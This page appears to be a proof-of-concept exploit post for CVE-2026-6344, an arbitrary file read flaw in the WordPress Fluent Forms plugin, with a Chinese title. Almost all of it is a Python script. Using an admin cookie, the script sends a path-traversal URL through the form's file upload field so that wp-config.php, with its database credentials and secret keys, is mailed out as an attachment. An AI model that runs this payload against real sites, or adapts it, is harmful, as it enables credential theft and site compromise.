CVE-2026-6344 WordPress Fluent Forms 任意文件读取漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-6344: WordPress Fluent Forms Arbitrary File Read # There Authentication (Admin) is required (PR:H) import requests TARGET_URL = "http://example.com/wp-admin/admin-ajax.php" ADMIN_COOKIE = "wordpress_logged_in_xxx=..." # The payload exploiting path normalization issue # Bypasses strpos check and resolves via file_exists() at kernel level # Targeting wp-config.php malicious_file_url = "http://example.com/wp-content/uploads/../../wp-config.php" payload = { "action": "fluentform_submit", "form_id": "1", # Injecting the malicious URL into the file upload field "data[files][input_file]": malicious_file_url } headers = { "Cookie": ADMIN_COOKIE, "Content-Type": "application/x-www-form-urlencoded" } response = requests.post(TARGET_URL, data=payload, headers=headers) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the administrator's email inbox for the notification email.") print("[+] The attachment should contain the contents of wp-config.php.") else: print("[-] Request failed.")